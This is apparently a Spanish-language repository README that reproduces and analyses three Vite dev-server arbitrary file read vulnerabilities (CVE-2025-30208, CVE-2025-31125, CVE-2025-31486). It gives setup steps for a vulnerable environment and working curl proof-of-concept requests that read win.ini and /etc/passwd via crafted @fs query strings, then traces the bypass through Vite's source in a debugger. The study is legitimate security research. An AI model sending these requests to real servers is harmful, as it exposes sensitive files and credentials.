r0ngy40/cve-2025-30208-seriesAnálisis de la Reproducción de las Vulnerabilidades de la Serie CVE-2025-30208
CVE-2025-30208, CVE-2025-31125 y CVE-2025-31486 son vulnerabilidades de lectura arbitraria de archivos en el servidor de desarrollo de Vite. Estas vulnerabilidades permiten a un atacante eludir los controles de acceso mediante parámetros URL específicos y leer archivos sensibles del servidor a través del módulo fs. Las tres vulnerabilidades se pueden considerar una serie, ya que las causas son muy similares.
Las versiones afectadas por CVE-2025-30208 son las siguientes:
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
Las versiones afectadas por CVE-2025-31125 son las siguientes:
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
Las versiones afectadas por CVE-2025-31486 son las siguientes:
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
Para construir el entorno de vulnerabilidad localmente desde cero, primero cree un proyecto con create-vite:
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
En el package.json generado, la versión de Vite puede incluir el símbolo ^ (por ejemplo, "vite": "^6.2.0"). Debe modificarse manualmente a un número de versión exacto (por ejemplo, "vite": "6.2.0") y luego ejecutar:
npm install
Finalmente, inicie el entorno:
npm run dev
Por supuesto, también puede usar directamente la carpeta vuln-env de este repositorio, ejecutar npm install y luego npm run dev.
Por conveniencia, la reproducción de las tres vulnerabilidades se realizó en la versión 6.2.0. Ejecute npm run dev y espere a que el entorno se inicie.
POC de CVE-2025-30208:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"
POC de CVE-2025-31125:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
El contenido leído está codificado en base64; después de decodificarlo, se obtiene el contenido original del archivo.
POC de CVE-2025-31486:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
El POC mencionado en el aviso que utiliza una ruta relativa es el siguiente:
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x representa la ruta del proyecto local. El POC de prueba local es:
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
Se puede ver que los POC se dividen básicamente en dos tipos: los que no necesitan agregar el encabezado HTTP deben tener ?import&. Esto se explicará más adelante durante el análisis del código fuente.
Para analizar el código fuente es necesario depurar. Aquí se depura el proyecto mediante VSCode. El contenido del archivo launch.json es el siguiente:
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
Según el parche oficial, se reforzó la declaración if en la función transformMiddleware que verifica el formato de la URL y determina si el servicio puede acceder. Por lo tanto, coloque un punto de interrupción en la función transformMiddleware y siga el proceso de análisis de la solicitud.
Dado que el proyecto creado solo contiene archivos JS compilados, busque directamente palabras clave de funciones en todo el archivo para agregar puntos de interrupción.
Ejecute el POC y se detendrá en la función objetivo. Se puede observar que, después de asignar algunas variables, el proceso de llamada ingresa a la función viteTransformMiddleware. Después de verificar si el método de solicitud es GET y si la solicitud es para el directorio raíz o el icono, la url se limpia de la ? final mediante removeTimestampQuery.
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
A través de cleanUrl() se obtiene la URL sin parámetros de consulta. En este momento, el valor de withoutQuery es "/@fs/c:/windows/win.ini", por lo que no entra en el bloque if (!isSourceMap). Luego, publicDirInRoot verifica si el directorio de recursos estáticos está configurado en la raíz del proyecto; url.startsWith(publicPath) verifica si la URL solicitada comienza con la ruta pública configurada (por ejemplo, /public/). Cuando ambas condiciones se cumplen, se llama a warnAboutExplicitPublicPathInUrl(url) para emitir una advertencia. Esto generalmente indica que el desarrollador puede haber agregado repetidamente la ruta pública por error. La URL no cumple las condiciones, por lo que también se omite el bloque de código correspondiente. Los resultados de rawRE.test(url) y urlRE.test(url) son ambos False, por lo que no se evalúa el resultado de ensureServingAccess() y el valor de la expresión lógica se establece directamente en False, omitiendo el bloque de código. En la siguiente declaración if, la URL coincide con la expresión regular definida por ImportQueryRE, por lo que entra en el bloque if. La URL se modifica mediante la función removeImportQuery() a /@fs/c:/windows/win.ini?raw y se envía a la función transformRequest().
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
En la declaración if que verifica isJSRequest(url), se puede ver que también verifica si el valor del encabezado HTTP sec-fetch-dest es script. Si es así, también pasa la verificación. Esta es la razón por la que los POC se dividen en dos tipos, como se mencionó anteriormente: agregar el encabezado HTTP y ?import& son para pasar la verificación de la declaración if. (De hecho, también se puede pasar mediante otros métodos, como isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??).
Después del procesamiento de parámetros, la verificación del entorno y la detección de claves de caché y solicitudes duplicadas, se ingresa a la función doTransform().
Después de verificar la validez de la caché, la URL /@fs/c:/windows/win.ini?raw se analiza y se obtiene el ID c:/windows/win.ini?raw, luego se ingresa a la función loadAndTransform().